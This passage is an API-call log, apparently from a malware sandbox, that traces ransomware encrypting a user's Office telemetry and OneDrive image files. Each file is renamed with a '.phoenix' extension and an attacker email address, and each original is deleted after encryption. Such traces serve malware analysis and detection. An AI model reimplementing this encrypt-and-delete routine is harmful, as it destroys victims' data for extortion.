	[0267.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{9C5E7D9B-2A2B-4118-AE33-9030D7BCCAB1} (1) - 2228 - winproj.exe - OTele.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{9c5e7d9b-2a2b-4118-ae33-9030d7bccab1} (1) - 2228 - winproj.exe - otele.dat")) returned 0x20
	[0267.671] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{9C5E7D9B-2A2B-4118-AE33-9030D7BCCAB1} (1) - 2228 - winproj.exe - OTele.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{9c5e7d9b-2a2b-4118-ae33-9030d7bccab1} (1) - 2228 - winproj.exe - otele.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.671] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{9C5E7D9B-2A2B-4118-AE33-9030D7BCCAB1} (1) - 2228 - winproj.exe - OTele.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{9c5e7d9b-2a2b-4118-ae33-9030d7bccab1} (1) - 2228 - winproj.exe - otele.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0267.671] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.671] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.671] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{9C5E7D9B-2A2B-4118-AE33-9030D7BCCAB1} (1) - 2228 - winproj.exe - OTele.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{9c5e7d9b-2a2b-4118-ae33-9030d7bccab1} (1) - 2228 - winproj.exe - otele.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0267.671] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151140) returned 1
	[0267.671] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.671] ReadFile (in: hFile=0x244, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1f4, lpOverlapped=0x0) returned 1
	[0267.685] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x200, dwBufLen=0x200 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x200) returned 1
	[0267.685] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x200, lpOverlapped=0x0) returned 1
	[0267.686] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151440) returned 1
	[0267.686] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.686] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0, dwBufLen=0xc0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0) returned 1
	[0267.686] CryptDestroyKey (hKey=0x151440) returned 1
	[0267.686] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x172, lpOverlapped=0x0) returned 1
	[0267.686] CryptDestroyKey (hKey=0x151140) returned 1
	[0267.686] CloseHandle (hObject=0x244) returned 1
	[0267.686] CloseHandle (hObject=0x240) returned 1
	[0267.686] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{9C5E7D9B-2A2B-4118-AE33-9030D7BCCAB1} (1) - 2228 - winproj.exe - OTele.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{9c5e7d9b-2a2b-4118-ae33-9030d7bccab1} (1) - 2228 - winproj.exe - otele.dat")) returned 1
	[0267.687] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0267.687] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{9C5E7D9B-2A2B-4118-AE33-9030D7BCCAB1} (1) - 2228 - winproj.exe - OTeleMediumCost.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{9c5e7d9b-2a2b-4118-ae33-9030d7bccab1} (1) - 2228 - winproj.exe - otelemediumcost.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0267.688] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=833) returned 1
	[0267.688] CloseHandle (hObject=0x240) returned 1
	[0267.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{9C5E7D9B-2A2B-4118-AE33-9030D7BCCAB1} (1) - 2228 - winproj.exe - OTeleMediumCost.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{9c5e7d9b-2a2b-4118-ae33-9030d7bccab1} (1) - 2228 - winproj.exe - otelemediumcost.dat")) returned 0x20
	[0267.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{9C5E7D9B-2A2B-4118-AE33-9030D7BCCAB1} (1) - 2228 - winproj.exe - OTeleMediumCost.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{9c5e7d9b-2a2b-4118-ae33-9030d7bccab1} (1) - 2228 - winproj.exe - otelemediumcost.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.688] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{9C5E7D9B-2A2B-4118-AE33-9030D7BCCAB1} (1) - 2228 - winproj.exe - OTeleMediumCost.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{9c5e7d9b-2a2b-4118-ae33-9030d7bccab1} (1) - 2228 - winproj.exe - otelemediumcost.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0267.689] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.689] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.689] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{9C5E7D9B-2A2B-4118-AE33-9030D7BCCAB1} (1) - 2228 - winproj.exe - OTeleMediumCost.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{9c5e7d9b-2a2b-4118-ae33-9030d7bccab1} (1) - 2228 - winproj.exe - otelemediumcost.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0267.689] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151600) returned 1
	[0267.689] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.689] ReadFile (in: hFile=0x240, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x341, lpOverlapped=0x0) returned 1
	[0267.727] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x350, dwBufLen=0x350 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x350) returned 1
	[0267.727] WriteFile (in: hFile=0x244, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x350, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x350, lpOverlapped=0x0) returned 1
	[0267.728] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151780) returned 1
	[0267.728] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.728] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xd0, dwBufLen=0xd0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xd0) returned 1
	[0267.728] CryptDestroyKey (hKey=0x151780) returned 1
	[0267.728] WriteFile (in: hFile=0x244, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x182, lpOverlapped=0x0) returned 1
	[0267.728] CryptDestroyKey (hKey=0x151600) returned 1
	[0267.728] CloseHandle (hObject=0x240) returned 1
	[0267.728] CloseHandle (hObject=0x244) returned 1
	[0267.728] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{9C5E7D9B-2A2B-4118-AE33-9030D7BCCAB1} (1) - 2228 - winproj.exe - OTeleMediumCost.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{9c5e7d9b-2a2b-4118-ae33-9030d7bccab1} (1) - 2228 - winproj.exe - otelemediumcost.dat")) returned 1
	[0267.729] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0267.729] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\AppWhite.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\appwhite.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0267.730] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3051) returned 1
	[0267.730] CloseHandle (hObject=0x244) returned 1
	[0267.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\AppWhite.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\appwhite.png")) returned 0x20
	[0267.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\AppWhite.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\appwhite.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.730] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\AppWhite.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\appwhite.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0267.730] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.730] SetFilePointerEx (in: hFile=0x244, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.730] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\AppWhite.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\appwhite.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0267.731] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151040) returned 1
	[0267.731] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.731] ReadFile (in: hFile=0x244, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xbeb, lpOverlapped=0x0) returned 1
	[0267.796] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xbf0, dwBufLen=0xbf0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xbf0) returned 1
	[0267.796] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xbf0, lpOverlapped=0x0) returned 1
	[0267.797] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151700) returned 1
	[0267.797] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.797] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0267.797] CryptDestroyKey (hKey=0x151700) returned 1
	[0267.797] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0267.797] CryptDestroyKey (hKey=0x151040) returned 1
	[0267.797] CloseHandle (hObject=0x244) returned 1
	[0267.797] CloseHandle (hObject=0x240) returned 1
	[0267.797] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\AppWhite.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\appwhite.png")) returned 1
	[0267.916] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0267.916] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\loading.svg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\loading.svg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0267.917] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=718) returned 1
	[0267.917] CloseHandle (hObject=0x2b0) returned 1
	[0267.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\loading.svg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\loading.svg")) returned 0x20
	[0267.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\loading.svg.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\loading.svg.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.917] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\loading.svg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\loading.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0267.917] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.917] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.917] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\loading.svg.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\loading.svg.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0267.918] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151540) returned 1
	[0267.918] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.918] ReadFile (in: hFile=0x2b0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x2ce, lpOverlapped=0x0) returned 1
	[0267.919] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2d0) returned 1
	[0267.919] WriteFile (in: hFile=0x244, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x2d0, lpOverlapped=0x0) returned 1
	[0267.919] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151700) returned 1
	[0267.919] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.920] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0267.924] CryptDestroyKey (hKey=0x151700) returned 1
	[0267.924] WriteFile (in: hFile=0x244, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0267.924] CryptDestroyKey (hKey=0x151540) returned 1
	[0267.924] CloseHandle (hObject=0x2b0) returned 1
	[0267.924] CloseHandle (hObject=0x244) returned 1
	[0267.924] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\loading.svg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\loading.svg")) returned 1
	[0267.925] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0267.925] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\onedrivePremium.svg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\onedrivepremium.svg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0267.927] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1132) returned 1
	[0267.927] CloseHandle (hObject=0x308) returned 1
	[0267.927] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\onedrivePremium.svg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\onedrivepremium.svg")) returned 0x20
	[0267.927] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\onedrivePremium.svg.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\onedrivepremium.svg.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.927] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\onedrivePremium.svg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\onedrivepremium.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0267.927] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.928] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.928] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\onedrivePremium.svg.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\onedrivepremium.svg.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0267.928] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151540) returned 1
	[0267.928] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.928] ReadFile (in: hFile=0x308, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x46c, lpOverlapped=0x0) returned 1
	[0267.934] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x470, dwBufLen=0x470 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x470) returned 1
	[0267.934] WriteFile (in: hFile=0x244, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x470, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x470, lpOverlapped=0x0) returned 1
	[0267.935] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151600) returned 1
	[0267.935] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.935] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0267.935] CryptDestroyKey (hKey=0x151600) returned 1
	[0267.935] WriteFile (in: hFile=0x244, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0267.935] CryptDestroyKey (hKey=0x151540) returned 1
	[0267.935] CloseHandle (hObject=0x308) returned 1
	[0267.935] CloseHandle (hObject=0x244) returned 1
	[0267.935] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6816.0313_1\\images\\onedrivePremium.svg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\onedrive\\17.3.6816.0313_1\\images\\onedrivepremium.svg")) returned 1
